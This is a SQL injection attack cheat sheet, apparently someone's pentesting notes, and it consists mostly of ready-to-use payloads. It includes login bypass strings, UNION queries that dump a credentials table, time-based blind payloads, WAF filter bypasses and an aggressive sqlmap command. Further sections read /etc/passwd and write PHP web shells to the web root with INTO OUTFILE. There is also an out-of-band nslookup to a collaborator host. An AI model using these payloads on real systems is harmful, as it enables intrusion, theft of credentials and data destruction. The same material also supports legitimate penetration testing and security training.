SQL Injection

MySQL (3306)SQLMAP
$searchInput =  $_POST['findUser'];
$query = "select * from logins where username like '%$searchInput'";
$result = $conn->query($query);
select * from logins where username like '%$searchInput'

payload

'%1'; DROP TABLE users;'
select * from logins where username like '%1'; DROP TABLE users;'

return

Error: near line 1: near "'": syntax error

Cheatsheet

SQLi Discovery

Payload
URL Encoded

'

%27

"

%22

#

%23

;

%3B

)

%29

Nmap

nmap --script http-sql-injection -p 80 http://example.com

Generic Payloads

'
''
`
``
,
"
""
/
//
\
\\
;
' or "
-- or # 
' OR '1
' OR 1 -- -
" OR "" = "
" OR 1 = 1 -- -
' OR '' = '
'='
'LIKE'
'=0--+
 OR 1=1
' OR 'x'='x
' AND id IS NULL; --
'''''''''''''UNION SELECT '2
%00
/*…*/ 
+addition, concatenate (or space in url)
||(double pipe) concatenate
%wildcard attribute indicator

@variablelocal variable
@@variableglobal
 variable

# Numeric
AND 1
AND 0
AND true
AND false
1-false
1-true
1*56
-2

1' ORDER BY 1--+
1' ORDER BY 2--+
1' ORDER BY 3--+

1' ORDER BY 1,2--+
1' ORDER BY 1,2,3--+

1' GROUP BY 1,2,--+
1' GROUP BY 1,2,3--+
' GROUP BY columnnames having 1=1 --

-1' UNION SELECT 1,2,3--+
' UNION SELECT sum(columnname ) from tablename --

-1 UNION SELECT 1 INTO @,@
-1 UNION SELECT 1 INTO @,@,@

1 AND (SELECT * FROM Users) = 1

' AND MID(VERSION(),1,1) = '5';

' and 1 in (select min(name) from sysobjects where xtype = 'U' and name > '.') --

Finding the table name

Time-Based:
,(select * from (select(sleep(10)))a)
%2c(select%20*%20from%20(select(sleep(10)))a)
';WAITFOR DELAY '0:0:30'--

Comments:

#    Hash comment
/*  C-style comment
-- -SQL comment
;%00Nullbyte
`    Backtick

Authentication Bypass

SELECT * FROM logins WHERE username='admin' AND password = 'p@ssw0rd';
admin' or '1'='1
SELECT * FROM logins WHERE username='admin' or '1'='1' AND password = 'something';

Fuzzing

Fuzzing

Comments

We can use two types of line comments with MySQL -- and #, in addition to an in-line comment /**/

Auth Bypass with comments

admin'--
SELECT * FROM logins WHERE username='admin'-- ' AND password = 'something';

Put spaces after --

admin')--
SELECT * FROM logins where (username='admin')
user' or id=5 ) --   test
SELECT * FROM logins WHERE (username='user' or id=5 ) -- test' AND id > 1) AND password = '******'

Header Injection

HTTP Header Exploitation

Union

MariaDB [employees]> select * from employees limit 5;
+--------+------------+------------+-------------+--------+------------+
| emp_no | birth_date | first_name | last_name   | gender | hire_date  |
+--------+------------+------------+-------------+--------+------------+
|  10001 | 1953-09-02 | Georgi     | Facello     | M      | 1986-06-26 |
|  10002 | 1952-12-03 | Vivian     | Billawala   | F      | 1986-12-11 |
|  10003 | 1959-06-16 | Temple     | Lukaszewicz | M      | 1992-07-04 |
|  10004 | 1956-11-06 | Masanao    | Rahimi      | M      | 1986-12-16 |
|  10005 | 1962-12-11 | Sanjay     | Danlos      | M      | 1985-08-01 |
+--------+------------+------------+-------------+--------+------------+
5 rows in set (0.038 sec)

MariaDB [employees]> select * from departments limit 5;
+---------+------------------+
| dept_no | dept_name        |
+---------+------------------+
| d009    | Customer Service |
| d005    | Development      |
| d002    | Finance          |
| d003    | Human Resources  |
| d001    | Marketing        |
+---------+------------------+
5 rows in set (0.022 sec)

MariaDB [employees]> select dept_no from departments union select emp_no from employees;

Detect number of columns

Using ORDER BY

' order by 1-- -
' order by 2-- -

Until we reach a number that returns an error

This means that this table has exactly 4 columns .

cn' UNION select 1,2,3,4-- -

While a query may return multiple columns, the web application may only display some of them. So, if we inject our query in a column that is not printed on the page, we will not get its output. This is why we need to determine which columns are printed to the page, to determine where to place our injection.

We cannot place our injection at the beginning, or its output will not be printed.

cn' UNION select 1,@@version,3,4-- -

Database Enumeration

Fingerprinting

Payload
When to Use
Expected Output
Wrong Output

SELECT @@version

When we have full query output

MySQL Version 'i.e. 10.3.22-MariaDB-1ubuntu1'

In MSSQL it returns MSSQL version. Error with other DBMS.

SELECT POW(1,1)

When we only have numeric output

1

Error with other DBMS

SELECT SLEEP(5)

Blind/No Output

Delays page response for 5 seconds and returns 0.

Will not delay response with other DBMS

Database

mysql> SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA;

+--------------------+
| SCHEMA_NAME        |
+--------------------+
| mysql              |
| information_schema |
| performance_schema |
| ilfreight          |
| dev                |
+--------------------+
6 rows in set (0.01 sec)
cn' UNION select 1,schema_name,3,4 from INFORMATION_SCHEMA.SCHEMATA-- -

Find the current database with the SELECT database() query

cn' UNION select 1,database(),2,3-- -

Tables

cn' UNION select 1,TABLE_NAME,TABLE_SCHEMA,4 from INFORMATION_SCHEMA.TABLES where table_schema='dev'-- -

Columns

cn' UNION select 1,COLUMN_NAME,TABLE_NAME,TABLE_SCHEMA from INFORMATION_SCHEMA.COLUMNS where table_name='credentials'-- -

Data

Remember: don't forget to use the dot operator to refer to the 'credentials' in the 'dev' database, as we are running in the 'ilfreight' database, as previously discussed.

cn' UNION select 1, username, password, 4 from dev.credentials-- -

Reading Files

MySQL (3306)

DB User

SELECT USER()
SELECT CURRENT_USER()
SELECT user from mysql.user
cn' UNION SELECT 1, user(), 3, 4-- -
cn' UNION SELECT 1, user, 3, 4 from mysql.user-- -

User Privileges

SELECT super_priv FROM mysql.user
cn' UNION SELECT 1, super_priv, 3, 4 FROM mysql.user-- -

Y = yes, super_priv

If we had many users within the DBMS:

cn' UNION SELECT 1, super_priv, 3, 4 FROM mysql.user WHERE user="root"-- -

Other privileges:

cn' UNION SELECT 1, grantee, privilege_type, 4 FROM information_schema.user_privileges-- -
cn' UNION SELECT 1, grantee, privilege_type, 4 FROM information_schema.user_privileges WHERE grantee="'root'@'localhost'"-- -

FILE privilege is listed for our user, enabling us to read files and potentially even write files

SELECT LOAD_FILE('/etc/passwd');

Note: We will only be able to read the file if the OS user running MySQL has enough privileges to read it.

cn' UNION SELECT 1, LOAD_FILE("/etc/passwd"), 3, 4-- -
cn' UNION SELECT 1, LOAD_FILE("/var/www/html/search.php"), 3, 4-- -
# Load File 
http://vulnsite.com/index.php?id=-1+union+all+select+1,load_file('/etc/passwd'),3,4+from+mysql.user--

## Bypass Filters
Load File - "/etc/passwd":) load_file(0x2f6574632f706173737764)
Load File - "/etc/passwd":) load_file(char(47,101,116,99,47,112,97,115,115,119,100))

# Into OutFile
http://vulnsite.com/index.php?id=-1+union+all+select+1,"testing",3,4+INTO+OUTFILE+'/home/vulnsite/www/test.txt'--

Write Files

To be able to write files to the back-end server using a MySQL database, we require three things:

  1. User with FILE privilege enabled

  2. MySQL global secure_file_priv variable not enabled

  3. Write access to the location we want to write to on the back-end server

SHOW VARIABLES LIKE 'secure_file_priv';
SELECT variable_name, variable_value FROM information_schema.global_variables where variable_name="secure_file_priv"
cn' UNION SELECT 1, variable_name, variable_value, 4 FROM information_schema.global_variables where variable_name="secure_file_priv"-- -

secure_file_priv value is empty, meaning that we can read/write files to any location.

SELECT * from users INTO OUTFILE '/tmp/credentials';
SELECT 'this is a test' INTO OUTFILE '/tmp/test.txt';

Tip: Advanced file exports utilize the 'FROM_BASE64("base64_data")' function in order to be able to write long/advanced files, including binary data.

Web Shell

Note: To write a web shell, we must know the base web directory for the web server (i.e. web root). One way to find it is to use load_file to read the server configuration, like Apache's configuration found at /etc/apache2/apache2.conf, Nginx's configuration at /etc/nginx/nginx.conf, or IIS configuration at %WinDir%\System32\Inetsrv\Config\ApplicationHost.config, or we can search online for other possible configuration locations. Furthermore, we may run a fuzzing scan and try to write files to different possible web roots, using this wordlist for Linux or this wordlist for Windows. Finally, if none of the above works, we can use server errors displayed to us and try to find the web directory that way.

cn' union select "",'<?php system($_REQUEST[0]); ?>', "", "" into outfile '/var/www/html/shell.php'-- -
Web ShellBind and Reverse Shell

Resources

Payloads


Time Based SQL Injection

Increase Time Delay to confirm injection

'; WAITFOR DELAY '00:00:05' --
'; WAITFOR DELAY '00:00:10' --
'; WAITFOR DELAY '00:00:20' --
+(select*from(select(sleep(20))))a)+
if(now()=sysdate(),sleep(10),0)/*'XOR(if(now()=sysdate(),sleep(10),0))OR'"XOR(if(now()=sysdate(),sleep(10),0))OR"*/
XOR(if(now()=sysdate(),sleep(7),0))XOR%23
'or sleep(7)--#
'or sleep(7)#
'or sleep(7)='#
'or sleep(7)='--
'/*F*/or/*F*/sleep(7)='
'or sleep(7)--%23
'or sleep(7)%23
'or sleep(7);%00
or sleep(7)--+-
or sleep(7)#
'/*f*/or/*f*/sleep/*f*/(7)--#
'/*f*/or/*f*/sleep/*f*/(7)#
or sleep(7)%23
'/*f*/or/*f*/sleep/*f*/(7)--%23
'/*f*/or/*f*/sleep/*f*/(7)%23
'/*f*/or/*f*/sleep/*f*/(7);%00
or/*f*/sleep/*f*/(7)--+-
or/*f*/sleep/*f*/(7)#
'XOR(if(now()=sysdate(),sleep(7),0))XOR'
'OR(if(now()=sysdate(),sleep(7),0))--#
'OR(if(now()=sysdate(),sleep(7),0))#
or/*f*/sleep/*f*/(7)%23
'OR(if(now()=sysdate(),sleep(7),0))--%23
'OR(if(now()=sysdate(),sleep(7),0))%23
'OR(if(now()=sysdate(),sleep(7),0));%00
OR(if(now()=sysdate(),sleep(7),0))--+-
OR(if(now()=sysdate(),sleep(7),0))#
OR(if(now()=sysdate(),sleep(7),0))%23
'WAITFORDELAY'0:0:7';%00
'WAITFORDELAY'0:0:7'#
'WAITFORDELAY'0:0:7'%23
'WAITFORDELAY'0:0:7';%00
WAITFORDELAY'0:0:7'#
WAITFORDELAY'0:0:7'%23
WAITFORDELAY'0:0:7'--+-
'WAITFORDELAY'0:0:7'--+-
'WAITFORDELAY'0:0:7'='
\/*F*/or/*f*/sleep(7)%23
'/*f*/OR/*f*/pg_sleep(7)#
'/*f*/OR/*f*/pg_sleep(7)%23
'/*f*/OR/*f*/pg_sleep(7);%00
/*f*/OR/*f*/pg_sleep(70)--+-
/*f*/OR/*f*/pg_sleep(70)#
/*f*/OR/*f*/pg_sleep(70)%23
'/*f*/OR/*f*/pg_sleep(7)=';%00
\)/*F*/or/*f*/sleep(7)%23
\)/*F*/or/*f*/sleep(7)%23
%E2%84%A2%27/*F*/or/*f*/sleep(7)%23
%E2%84%A2%27/*F*/or/*f*/pg_sleep(7)%23
%E2%84%A2%22/*F*/or/*f*/pg_sleep(7)%23
%E2%84%A2%22/*F*/or/*f*/sleep(7)%23
%E2%84%A2%22/*F*/or/*f*/sleep(7)--+-
%E2%84%A2\)/*F*/or/*f*/sleep(7)--+-
%E2%84%A2%27)/*F*/or/*f*/sleep(7)--+-
%E2%84%A2'/*F*/or/*f*/sleep(7)='
%E2%84%A2')/*F*/or/*f*/sleep(7)='
`/?query="OR 1=1;--"&val1=ZGlkbnQgZXZlbiByZWFk&val2=aHR0cHM6Ly95b3V0dS5iZS9kUXc0dzlXZ1hjUQ%3D%3D&SLEEP(420)`

Nuclei Template

id: time-based-sqli
info:
  name: Time-Based Blind SQL Injection
  author: github.com/rzizah
  severity: Critical
  description: Detects time-based blind SQL injection vulnerability
http:
  - method: GET
    path:
        - "{{BaseURL}}" 
    payloads:
      injection:
      - "(SELECT(0)FROM(SELECT(SLEEP(7)))a)"
      - "'XOR(SELECT(0)FROM(SELECT(SLEEP(7)))a)XOR'Z"
      - "' AND (SELECT 4800 FROM (SELECT(SLEEP(7)))HoBG)--"
      - "if(now()=sysdate(),SLEEP(7),0)"
      - "'XOR(if(now()=sysdate(),SLEEP(7),0))XOR'Z"
      - "'XOR(SELECT CASE WHEN(1234=1234) THEN SLEEP(7) ELSE 0 END)XOR'Z"
    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
            - "{{injection}}"
    stop-at-first-match: true
    matchers:
     - type: dsl
       dsl:
       - "status_code == 200"
       - "duration>=7 && duration <=16"
       condition: and

Source: https://github.com/rzizah/private-nuclei-template/blob/main/bsqli-time-based.yaml

Time Based SQLi in HTTP Headers

HTTP Header Exploitation

Numeric SQL Injection

Blind SQL injection

Confirm injection by adding quote

/search?query='
/search?query=''
/search?query='''

Time Based

XOR(if(now()=sysdate(),sleep(5),0))XOR
0'XOR(if(now()=sysdate(),sleep(10),0))XOR'X
0"XOR(if(now()=sysdate(),sleep(10),0))XOR"Z
'XOR(if((select now()=sysdate()),sleep(10),0))XOR'Z
X'XOR(if(now()=sysdate(),//sleep(5)//,0))XOR'X
X'XOR(if(now()=sysdate(),(sleep((((5))))),0))XOR'X
X'XOR(if((select now()=sysdate()),BENCHMARK(1000000,md5('xyz')),0))XOR'X
'XOR(SELECT(0)FROM(SELECT(SLEEP(9)))a)XOR'Z
(SELECT(0)FROM(SELECT(SLEEP(6)))a)
'XOR(if(now()=sysdate(),sleep(5*5),0))OR'
'XOR(if(now()=sysdate(),sleep(5*5*0),0))OR'
(SELECT * FROM (SELECT(SLEEP(5)))a)
'%2b(select*from(select(sleep(5)))a)%2b'
CASE//WHEN(LENGTH(version())=10)THEN(SLEEP(6*1))END
');(SELECT 4564 FROM PG_SLEEP(5))--
["')//OR//MID(0x352e362e33332d6c6f67,1,1)//LIKE//5//%23"]
DBMS_PIPE.RECEIVE_MESSAGE(%5BINT%5D,5)%20AND%20%27bar%27=%27bar
AND 5851=DBMS_PIPE.RECEIVE_MESSAGE([INT],5) AND 'bar'='bar
1' AND (SELECT 6268 FROM (SELECT(SLEEP(5)))ghXo) AND 'IKlK'='IKlK
(select*from(select(sleep(20)))a)
'%2b(select*from(select(sleep(0)))a)%2b'
*'XOR(if(2=2,sleep(10),0))OR'
-1' or 1=IF(LENGTH(ASCII((SELECT USER())))>13, 1, 0)--//
'+(select*from(select(if(1=1,sleep(20),false)))a)+'"
2021 AND (SELECT 6868 FROM (SELECT(SLEEP(32)))IiOE)
BENCHMARK(10000000,MD5(CHAR(116)))
'%2bbenchmark(10000000%2csha1(1))%2b'
'%20and%20(select%20%20from%20(select(if(substring(user(),1,1)='p',sleep(5),1)))a)--%20 - true
if(now()=sysdate(),sleep(3),0)/'XOR(if(now()=sysdate(),sleep(3),0))OR'"XOR(if(now()=sysdate(),sleep(3),0))OR"/
if(now()=sysdate(),sleep(10),0)/'XOR(if(now()=sysdate(),sleep(10),0))OR'"XOR(if(now()=sysdate(),sleep(10),0) and 1=1)"/

CustomBSQLi - LostSec

OAT Blind SQLi

copy (SELECT '') to program 'nslookup BURP-COLLABORATOR-SUBDOMAIN'

Wildcard SQL injection - LIKE clause

http://www.example.com/userphoto.php?name=a%
http://www.example.com/userphoto.php?name=b%
http://www.example.com/userphoto.php?name=c%

http://www.example.com/fruit.php?name=ap%

The server filtered the % wildcard, but the _ character was permitted

http://www.example.com/admin/privado.php?sessionid=0_________
http://www.example.com/admin/privado.php?sessionid=1_________
http://www.example.com/admin/privado.php?sessionid=2_________

Fragmented SQL Injection - two endpoints

Let’s take a look at an instance where the single quote is blacklisted or escaped from the command.

$username ="' or 1=1 --";$password ="qwerty123456";// . . .$query = "SELECT * FROM users WHERE username='".$username."' AND password='".$password."'";select * from users where username='\' or 1=1 -- ' or password='qwerty123456';

As you see in this example, because the single quote (‘) is escaped with a backslash, the payload does not work as intended by the hacker.

username: \password: or 1 # $query = select * from users where username='".$username."' and password='".$password."'";select * from users where username='\' or password=' or 1 # ';

The backslash neutralizes the following single quote. So the value for the username column will end with the single quote that comes right after password= (the end of the gray text). Doing so will eliminate the required password field from the command. Due to the or 1 command, the condition will always return ‘true’. The # (hash) will ignore the rest of the function, and you’ll be able to bypass the login control and login form.

Email SQL injection

Email injections

Bypass - WAF / Filters

WAF Bypass

SQLMap - All in one

`sqlmap -r req.txt --level=5 --risk=3 --dbms="mysql" --dbs --tamper=between,bluecoat,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,percentage,randomcase,space2comment,space2hash,space2morehash,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords,xforwardedfor -p search`
SQLMAP

Bypass combo

'AND+0+/*!50000UNION*/+/*!50000SELECT*/+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21--+-

Imperva gzip bypass

No Space (%20) - bypass using whitespace alternatives

?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--

No Whitespace - bypass using comments

?id=1/*comment*/and/**/1=1/**/--

No Whitespace - bypass using parenthesis

?id=(1)and(1)=(1)--

No Comma - bypass using OFFSET, FROM and JOIN

LIMIT 0,1         -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4    -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d

Blacklist using keywords - bypass using uppercase/lowercase

?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#

Blacklist using keywords case insensitive - bypass using an equivalent operator

AND   -> &&
OR    -> ||
=     -> LIKE,REGEXP, not < and not >
> X   -> not between 0 and X
WHERE -> HAVING

Information_schema.tables alternative

select * from mysql.innodb_table_stats;
+----------------+-----------------------+---------------------+--------+----------------------+--------------------------+
| database_name  | table_name            | last_update         | n_rows | clustered_index_size | sum_of_other_index_sizes |
+----------------+-----------------------+---------------------+--------+----------------------+--------------------------+
| dvwa           | guestbook             | 2017-01-19 21:02:57 |      0 |                    1 |                        0 |
| dvwa           | users                 | 2017-01-19 21:03:07 |      5 |                    1 |                        0 |
...
+----------------+-----------------------+---------------------+--------+----------------------+--------------------------+

mysql> show tables in dvwa;
+----------------+
| Tables_in_dvwa |
+----------------+
| guestbook      |
| users          |
+----------------+

Version alternative

mysql> select @@innodb_version;
+------------------+
| @@innodb_version |
+------------------+
| 5.6.31           |
+------------------+

mysql> select @@version;
+-------------------------+
| @@version               |
+-------------------------+
| 5.6.31-0ubuntu0.15.10.1 |
+-------------------------+

mysql> mysql> select version();
+-------------------------+
| version()               |
+-------------------------+
| 5.6.31-0ubuntu0.15.10.1 |
+-------------------------+

Source:

Reading / Writing Files

Requires privileged user

Description
Query

Dump to file

SELECT * FROM mytable INTO dumpfile '/tmp/somefile'

Dump PHP Shell

SELECT 'system($_GET['c']); ?>' INTO OUTFILE '/var/www/shell.php'

Read File

SELECT LOAD_FILE('/etc/passwd')

Read File Obfuscated

SELECT LOAD_FILE(0x633A5C626F6F742E696E69) reads c:\boot.ini

File Privileges

SELECT file_priv FROM mysql.user WHERE user = 'netspi' SELECT grantee, is_grantable FROM information_schema.user_privileges WHERE privilege_type = 'file' AND grantee like '%netspi%'

Polyglots SQLi

Resources

Payload

Tools

SQLMAP
SqliSniper

Last updated